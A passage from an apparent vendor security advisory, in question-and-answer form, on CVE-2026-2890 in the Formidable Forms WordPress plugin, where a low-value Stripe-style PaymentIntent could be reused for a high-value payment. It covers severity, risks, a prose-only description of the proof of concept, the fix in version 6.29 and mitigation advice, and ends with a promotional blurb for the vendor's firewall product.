Recommended actionsThe vulnerability is fixed in version 6.29 of the Formidable Forms plugin. Administrators should update their plugin to this version or later to mitigate the risk.
What does the CVSS score of 7.5 indicate?
Understanding severity ratingsA CVSS score of 7.5 indicates a high severity level, suggesting that the vulnerability poses a significant risk to affected systems. It is crucial to address such vulnerabilities promptly to prevent potential exploitation.
What practical risks does this vulnerability pose?
Potential consequences of exploitationExploitation of this vulnerability can lead to unauthorized financial transactions, allowing attackers to obtain goods or services without payment. This can result in direct financial loss for businesses.
What is the proof of concept for this vulnerability?
Demonstration of the issueThe proof of concept demonstrates how an attacker could reuse a low-value PaymentIntent to complete a high-value payment. It outlines the steps to exploit the vulnerability, highlighting the lack of authentication and validation in the vulnerable endpoint.
What should I do if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updates are not possible, consider disabling the Formidable Forms plugin until it can be updated. Additionally, monitor your site for any suspicious activity related to payment processing.
Are there any other security measures I should take?
Enhancing overall securityIn addition to updating the plugin, ensure that your WordPress installation and all other plugins are up to date. Implement strong security practices, such as regular backups and using security plugins to monitor for vulnerabilities.
How can I stay informed about future vulnerabilities?
Keeping updated on security issuesSubscribe to security advisories from WordPress and plugin developers. Following security-focused blogs and forums can also help you stay informed about emerging vulnerabilities and best practices.
Where can I find more information about CVE-2026-2890?
Additional resourcesMore information about CVE-2026-2890 can be found in the official CVE database and security advisories from the developers of the Formidable Forms plugin. These resources provide detailed insights and updates regarding the vulnerability.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






